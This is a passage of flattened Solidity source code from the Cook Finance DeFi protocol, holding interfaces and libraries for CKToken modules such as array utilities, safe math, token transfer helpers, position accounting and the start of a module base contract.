getTotalComponentRealUnits(address _component) external view returns(int256); function isInitializedModule(address _module) external view returns(bool); function isPendingModule(address _module) external view returns(bool); function isLocked() external view returns (bool); } // File contracts/interfaces/IBasicIssuanceModule.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; interface IBasicIssuanceModule { function getRequiredComponentUnitsForIssue( ICKToken _ckToken, uint256 _quantity ) external returns(address[] memory, uint256[] memory); function issue(ICKToken _ckToken, uint256 _quantity, address _to) external; } // File contracts/interfaces/IIndexExchangeAdapter.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; interface IIndexExchangeAdapter { function getSpender() external view returns(address); /** * Returns calldata for executing trade on given adapter's exchange when using the GeneralIndexModule. * * @param _sourceToken Address of source token to be sold * @param _destinationToken Address of destination token to buy * @param _destinationAddress Address that assets should be transferred to * @param _isSendTokenFixed Boolean indicating if the send quantity is fixed, used to determine correct trade interface * @param _sourceQuantity Fixed/Max amount of source token to sell * @param _destinationQuantity Min/Fixed amount of destination tokens to receive * @param _data Arbitrary bytes that can be used to store exchange specific parameters or logic * * @return address Target contract address * @return uint256 Call value * @return bytes Trade calldata */ function getTradeCalldata( address _sourceToken, address _destinationToken, address _destinationAddress, bool _isSendTokenFixed, uint256 _sourceQuantity, uint256 _destinationQuantity, bytes memory _data ) external view returns (address, uint256, bytes memory); } // File contracts/interfaces/IPriceOracle.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title IPriceOracle * @author Cook Finance * * Interface for interacting with PriceOracle */ interface IPriceOracle { /* ============ Functions ============ */ function getPrice(address _assetOne, address _assetTwo) external view returns (uint256); function masterQuoteAsset() external view returns (address); } // File contracts/interfaces/external/IWETH.sol /* Copyright 2018 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title IWETH * @author Cook Finance * * Interface for Wrapped Ether. This interface allows for interaction for wrapped ether's deposit and withdrawal * functionality. */ interface IWETH is IERC20{ function deposit() external payable; function withdraw( uint256 wad ) external; } // File contracts/lib/AddressArrayUtils.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title AddressArrayUtils * @author Cook Finance * * Utility functions to handle Address Arrays */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The address to remove */ function removeStorage(address[] storage A, address a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } /** * Validate that address and uint array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of uint */ function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bool array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bool */ function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and string array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of strings */ function validatePairsWithArray(address[] memory A, string[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address array lengths match, and calling address array are not empty * and contain no duplicate elements. * * @param A Array of addresses * @param B Array of addresses */ function validatePairsWithArray(address[] memory A, address[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bytes array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bytes */ function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate address array is not empty and contains no duplicate elements. * * @param A Array of addresses */ function _validateLengthAndUniqueness(address[] memory A) internal pure { require(A.length > 0, "Array length must be > 0"); require(!hasDuplicate(A), "Cannot duplicate addresses"); } } // File contracts/lib/ExplicitERC20.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title ExplicitERC20 * @author Cook Finance * * Utility functions for ERC20 transfers that require the explicit amount to be transferred. */ library ExplicitERC20 { using SafeMath for uint256; /** * When given allowance, transfers a token from the "_from" to the "_to" of quantity "_quantity". * Ensures that the recipient has received the correct quantity (ie no fees taken on transfer) * * @param _token ERC20 token to approve * @param _from The account to transfer tokens from * @param _to The account to transfer tokens to * @param _quantity The quantity to transfer */ function transferFrom( IERC20 _token, address _from, address _to, uint256 _quantity ) internal { // Call specified ERC20 contract to transfer tokens (via proxy). if (_quantity > 0) { uint256 existingBalance = _token.balanceOf(_to); SafeERC20.safeTransferFrom( _token, _from, _to, _quantity ); uint256 newBalance = _token.balanceOf(_to); // Verify transfer quantity is reflected in balance require( newBalance == existingBalance.add(_quantity), "Invalid post transfer balance" ); } } } // File contracts/interfaces/IModule.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title IModule * @author Cook Finance * * Interface for interacting with Modules. */ interface IModule { /** * Called by a CKToken to notify that this module was removed from the CK token. Any logic can be included * in case checks need to be made or state needs to be cleared. */ function removeModule() external; } // File contracts/protocol/lib/Invoke.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title Invoke * @author Cook Finance * * A collection of common utility functions for interacting with the CKToken's invoke function */ library Invoke { using SafeMath for uint256; /* ============ Internal ============ */ /** * Instructs the CKToken to set approvals of the ERC20 token to a spender. * * @param _ckToken CKToken instance to invoke * @param _token ERC20 token to approve * @param _spender The account allowed to spend the CKToken's balance * @param _quantity The quantity of allowance to allow */ function invokeApprove( ICKToken _ckToken, address _token, address _spender, uint256 _quantity ) internal { bytes memory callData = abi.encodeWithSignature("approve(address,uint256)", _spender, _quantity); _ckToken.invoke(_token, 0, callData); } /** * Instructs the CKToken to transfer the ERC20 token to a recipient. * * @param _ckToken CKToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function invokeTransfer( ICKToken _ckToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { bytes memory callData = abi.encodeWithSignature("transfer(address,uint256)", _to, _quantity); _ckToken.invoke(_token, 0, callData); } } /** * Instructs the CKToken to transfer the ERC20 token to a recipient. * The new CKToken balance must equal the existing balance less the quantity transferred * * @param _ckToken CKToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function strictInvokeTransfer( ICKToken _ckToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { // Retrieve current balance of token for the CKToken uint256 existingBalance = IERC20(_token).balanceOf(address(_ckToken)); Invoke.invokeTransfer(_ckToken, _token, _to, _quantity); // Get new balance of transferred token for CKToken uint256 newBalance = IERC20(_token).balanceOf(address(_ckToken)); // Verify only the transfer quantity is subtracted require( newBalance == existingBalance.sub(_quantity), "Invalid post transfer balance" ); } } /** * Instructs the CKToken to unwrap the passed quantity of WETH * * @param _ckToken CKToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeUnwrapWETH(ICKToken _ckToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("withdraw(uint256)", _quantity); _ckToken.invoke(_weth, 0, callData); } /** * Instructs the CKToken to wrap the passed quantity of ETH * * @param _ckToken CKToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeWrapWETH(ICKToken _ckToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("deposit()"); _ckToken.invoke(_weth, _quantity, callData); } } // File @openzeppelin/contracts/math/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // File contracts/lib/PreciseUnitMath.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title PreciseUnitMath * @author Cook Finance * * Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from * dYdX's BaseMath library. * * CHANGELOG: * - 9/21/20: Added safePower function */ library PreciseUnitMath { using SafeMath for uint256; using SignedSafeMath for int256; // The number One in precise units. uint256 constant internal PRECISE_UNIT = 10 ** 18; int256 constant internal PRECISE_UNIT_INT = 10 ** 18; // Max unsigned integer value uint256 constant internal MAX_UINT_256 = type(uint256).max; // Max and min signed integer value int256 constant internal MAX_INT_256 = type(int256).max; int256 constant internal MIN_INT_256 = type(int256).min; /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnit() internal pure returns (uint256) { return PRECISE_UNIT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnitInt() internal pure returns (int256) { return PRECISE_UNIT_INT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxUint256() internal pure returns (uint256) { return MAX_UINT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxInt256() internal pure returns (int256) { return MAX_INT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function minInt256() internal pure returns (int256) { return MIN_INT_256; } /** * @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(b).div(PRECISE_UNIT); } /** * @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the * significand of a number with 18 decimals precision. */ function preciseMul(int256 a, int256 b) internal pure returns (int256) { return a.mul(b).div(PRECISE_UNIT_INT); } /** * @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } return a.mul(b).sub(1).div(PRECISE_UNIT).add(1); } /** * @dev Divides value a by value b (result is rounded down). */ function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(PRECISE_UNIT).div(b); } /** * @dev Divides value a by value b (result is rounded towards 0). */ function preciseDiv(int256 a, int256 b) internal pure returns (int256) { return a.mul(PRECISE_UNIT_INT).div(b); } /** * @dev Divides value a by value b (result is rounded up or away from 0). */ function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Cant divide by 0"); return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0; } /** * @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0). */ function divDown(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "Cant divide by 0"); require(a != MIN_INT_256 || b != -1, "Invalid input"); int256 result = a.div(b); if (a ^ b < 0 && a % b != 0) { result -= 1; } return result; } /** * @dev Multiplies value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(b), PRECISE_UNIT_INT); } /** * @dev Divides value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(PRECISE_UNIT_INT), b); } /** * @dev Performs the power on a specified value, reverts on overflow. */ function safePower( uint256 a, uint256 pow ) internal pure returns (uint256) { require(a > 0, "Value must be positive"); uint256 result = 1; for (uint256 i = 0; i < pow; i++){ uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } /** * @dev Returns true if a =~ b within range, false otherwise. */ function approximatelyEquals(uint256 a, uint256 b, uint256 range) internal pure returns (bool) { return a <= b.add(range) && a >= b.sub(range); } } // File contracts/protocol/lib/Position.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title Position * @author Cook Finance * * Collection of helper functions for handling and updating CKToken Positions * * CHANGELOG: * - Updated editExternalPosition to work when no external position is associated with module */ library Position { using SafeCast for uint256; using SafeMath for uint256; using SafeCast for int256; using SignedSafeMath for int256; using PreciseUnitMath for uint256; /* ============ Helper ============ */ /** * Returns whether the CKToken has a default position for a given component (if the real unit is > 0) */ function hasDefaultPosition(ICKToken _ckToken, address _component) internal view returns(bool) { return _ckToken.getDefaultPositionRealUnit(_component) > 0; } /** * Returns whether the CKToken has an external position for a given component (if # of position modules is > 0) */ function hasExternalPosition(ICKToken _ckToken, address _component) internal view returns(bool) { return _ckToken.getExternalPositionModules(_component).length > 0; } /** * Returns whether the CKToken component default position real unit is greater than or equal to units passed in. */ function hasSufficientDefaultUnits(ICKToken _ckToken, address _component, uint256 _unit) internal view returns(bool) { return _ckToken.getDefaultPositionRealUnit(_component) >= _unit.toInt256(); } /** * Returns whether the CKToken component external position is greater than or equal to the real units passed in. */ function hasSufficientExternalUnits( ICKToken _ckToken, address _component, address _positionModule, uint256 _unit ) internal view returns(bool) { return _ckToken.getExternalPositionRealUnit(_component, _positionModule) >= _unit.toInt256(); } /** * If the position does not exist, create a new Position and add to the CKToken. If it already exists, * then set the position units. If the new units is 0, remove the position. Handles adding/removing of * components where needed (in light of potential external positions). * * @param _ckToken Address of CKToken being modified * @param _component Address of the component * @param _newUnit Quantity of Position units - must be >= 0 */ function editDefaultPosition(ICKToken _ckToken, address _component, uint256 _newUnit) internal { bool isPositionFound = hasDefaultPosition(_ckToken, _component); if (!isPositionFound && _newUnit > 0) { // If there is no Default Position and no External Modules, then component does not exist if (!hasExternalPosition(_ckToken, _component)) { _ckToken.addComponent(_component); } } else if (isPositionFound && _newUnit == 0) { // If there is a Default Position and no external positions, remove the component if (!hasExternalPosition(_ckToken, _component)) { _ckToken.removeComponent(_component); } } _ckToken.editDefaultPositionUnit(_component, _newUnit.toInt256()); } /** * Update an external position and remove and external positions or components if necessary. The logic flows as follows: * 1) If component is not already added then add component and external position. * 2) If component is added but no existing external position using the passed module exists then add the external position. * 3) If the existing position is being added to then just update the unit and data * 4) If the position is being closed and no other external positions or default positions are associated with the component * then untrack the component and remove external position. * 5) If the position is being closed and other existing positions still exist for the component then just remove the * external position. * * @param _ckToken CKToken being updated * @param _component Component position being updated * @param _module Module external position is associated with * @param _newUnit Position units of new external position * @param _data Arbitrary data associated with the position */ function editExternalPosition( ICKToken _ckToken, address _component, address _module, int256 _newUnit, bytes memory _data ) internal { if (_newUnit != 0) { if (!_ckToken.isComponent(_component)) { _ckToken.addComponent(_component); _ckToken.addExternalPositionModule(_component, _module); } else if (!_ckToken.isExternalPositionModule(_component, _module)) { _ckToken.addExternalPositionModule(_component, _module); } _ckToken.editExternalPositionUnit(_component, _module, _newUnit); _ckToken.editExternalPositionData(_component, _module, _data); } else { require(_data.length == 0, "Passed data must be null"); // If no default or external position remaining then remove component from components array if (_ckToken.getExternalPositionRealUnit(_component, _module) != 0) { address[] memory positionModules = _ckToken.getExternalPositionModules(_component); if (_ckToken.getDefaultPositionRealUnit(_component) == 0 && positionModules.length == 1) { require(positionModules[0] == _module, "External positions must be 0 to remove component"); _ckToken.removeComponent(_component); } _ckToken.removeExternalPositionModule(_component, _module); } } } /** * Get total notional amount of Default position * * @param _ckTokenSupply Supply of CKToken in precise units (10^18) * @param _positionUnit Quantity of Position units * * @return Total notional amount of units */ function getDefaultTotalNotional(uint256 _ckTokenSupply, uint256 _positionUnit) internal pure returns (uint256) { return _ckTokenSupply.preciseMul(_positionUnit); } /** * Get position unit from total notional amount * * @param _ckTokenSupply Supply of CKToken in precise units (10^18) * @param _totalNotional Total notional amount of component prior to * @return Default position unit */ function getDefaultPositionUnit(uint256 _ckTokenSupply, uint256 _totalNotional) internal pure returns (uint256) { return _totalNotional.preciseDiv(_ckTokenSupply); } /** * Get the total tracked balance - total supply * position unit * * @param _ckToken Address of the CKToken * @param _component Address of the component * @return Notional tracked balance */ function getDefaultTrackedBalance(ICKToken _ckToken, address _component) internal view returns(uint256) { int256 positionUnit = _ckToken.getDefaultPositionRealUnit(_component); return _ckToken.totalSupply().preciseMul(positionUnit.toUint256()); } /** * Calculates the new default position unit and performs the edit with the new unit * * @param _ckToken Address of the CKToken * @param _component Address of the component * @param _ckTotalSupply Current CKToken supply * @param _componentPreviousBalance Pre-action component balance * @return Current component balance * @return Previous position unit * @return New position unit */ function calculateAndEditDefaultPosition( ICKToken _ckToken, address _component, uint256 _ckTotalSupply, uint256 _componentPreviousBalance ) internal returns(uint256, uint256, uint256) { uint256 currentBalance = IERC20(_component).balanceOf(address(_ckToken)); uint256 positionUnit = _ckToken.getDefaultPositionRealUnit(_component).toUint256(); uint256 newTokenUnit; if (currentBalance > 0) { newTokenUnit = calculateDefaultEditPositionUnit( _ckTotalSupply, _componentPreviousBalance, currentBalance, positionUnit ); } else { newTokenUnit = 0; } editDefaultPosition(_ckToken, _component, newTokenUnit); return (currentBalance, positionUnit, newTokenUnit); } /** * Calculate the new position unit given total notional values pre and post executing an action that changes CKToken state * The intention is to make updates to the units without accidentally picking up airdropped assets as well. * * @param _ckTokenSupply Supply of CKToken in precise units (10^18) * @param _preTotalNotional Total notional amount of component prior to executing action * @param _postTotalNotional Total notional amount of component after the executing action * @param _prePositionUnit Position unit of CKToken prior to executing action * @return New position unit */ function calculateDefaultEditPositionUnit( uint256 _ckTokenSupply, uint256 _preTotalNotional, uint256 _postTotalNotional, uint256 _prePositionUnit ) internal pure returns (uint256) { // If pre action total notional amount is greater then subtract post action total notional and calculate new position units uint256 airdroppedAmount = _preTotalNotional.sub(_prePositionUnit.preciseMul(_ckTokenSupply)); return _postTotalNotional.sub(airdroppedAmount).preciseDiv(_ckTokenSupply); } } // File contracts/interfaces/IIntegrationRegistry.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; interface IIntegrationRegistry { function addIntegration(address _module, string memory _id, address _wrapper) external; function getIntegrationAdapter(address _module, string memory _id) external view returns(address); function getIntegrationAdapterWithHash(address _module, bytes32 _id) external view returns(address); function isValidIntegration(address _module, string memory _id) external view returns(bool); } // File contracts/interfaces/ICKValuer.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; interface ICKValuer { function calculateCKTokenValuation(ICKToken _ckToken, address _quoteAsset) external view returns (uint256); } // File contracts/protocol/lib/ResourceIdentifier.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title ResourceIdentifier * @author Cook Finance * * A collection of utility functions to fetch information related to Resource contracts in the system */ library ResourceIdentifier { // IntegrationRegistry will always be resource ID 0 in the system uint256 constant internal INTEGRATION_REGISTRY_RESOURCE_ID = 0; // PriceOracle will always be resource ID 1 in the system uint256 constant internal PRICE_ORACLE_RESOURCE_ID = 1; // CKValuer resource will always be resource ID 2 in the system uint256 constant internal CK_VALUER_RESOURCE_ID = 2; /* ============ Internal ============ */ /** * Gets the instance of integration registry stored on Controller. Note: IntegrationRegistry is stored as index 0 on * the Controller */ function getIntegrationRegistry(IController _controller) internal view returns (IIntegrationRegistry) { return IIntegrationRegistry(_controller.resourceId(INTEGRATION_REGISTRY_RESOURCE_ID)); } /** * Gets instance of price oracle on Controller. Note: PriceOracle is stored as index 1 on the Controller */ function getPriceOracle(IController _controller) internal view returns (IPriceOracle) { return IPriceOracle(_controller.resourceId(PRICE_ORACLE_RESOURCE_ID)); } /** * Gets the instance of CK valuer on Controller. Note: CKValuer is stored as index 2 on the Controller */ function getCKValuer(IController _controller) internal view returns (ICKValuer) { return ICKValuer(_controller.resourceId(CK_VALUER_RESOURCE_ID)); } } // File contracts/protocol/lib/ModuleBase.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title ModuleBase * @author Cook Finance * * Abstract class that houses common Module-related state and functions. */ abstract contract ModuleBase is IModule { using AddressArrayUtils for address[]; using Invoke for ICKToken; using Position for ICKToken; using PreciseUnitMath for uint256; using ResourceIdentifier for IController; using SafeCast for int256; using SafeCast for uint256; using SafeMath for uint256; using SignedSafeMath for int256; /* ============ State Variables ============ */ // Address of the controller IController public controller; /* ============ Modifiers ============ */ modifier onlyManagerAndValidCK(ICKToken _ckToken) { _validateOnlyManagerAndValidCK(_ckToken); _; } modifier onlyCKManager(ICKToken _ckToken, address _caller) { _validateOnlyCKManager(_ckToken, _caller); _; } modifier onlyValidAndInitializedCK(ICKToken _ckToken) { _validateOnlyValidAndInitializedCK(_ckToken); _; } /** * Throws if the sender is not a CKToken's module or module not enabled */ modifier onlyModule(ICKToken _ckToken) { _validateOnlyModule(_ckToken); _; } /** * Utilized during module initializations to check that the module is in pending state * and that the CKToken is valid */ modifier onlyValidAndPendingCK(ICKToken _ckToken) { _validateOnlyValidAndPendingCK(_ckToken); _; } /* ============ Constructor ============ */ /** * Set state variables and map asset pairs to their oracles * * @param _controller Address of controller contract */ constructor(IController _controller) public { controller = _controller; } /* ============ Internal Functions ============ */ /** * Transfers tokens from an address (that has set allowance on the module). * * @param _token The address of the ERC20 token * @param _from The address to transfer from * @param _to The address to transfer to * @param _quantity The number of tokens to transfer */ function transferFrom(IERC20 _token, address _from, address _to, uint256 _quantity) internal { ExplicitERC20.transferFrom(_token, _from, _to, _quantity); } /** * Gets the integration for the module with the passed in name. Validates that the address is not empty */ function getAndValidateAdapter(string memory _integrationName) internal view returns(address) { bytes32 integrationHash = getNameHash(_integrationName); return getAndValidateAdapterWithHash(integrationHash); } /** * Gets the integration for the module with the passed in hash. Validates that the address is not empty */ function getAndValidateAdapterWithHash(bytes32 _integrationHash) internal view returns(address) { address 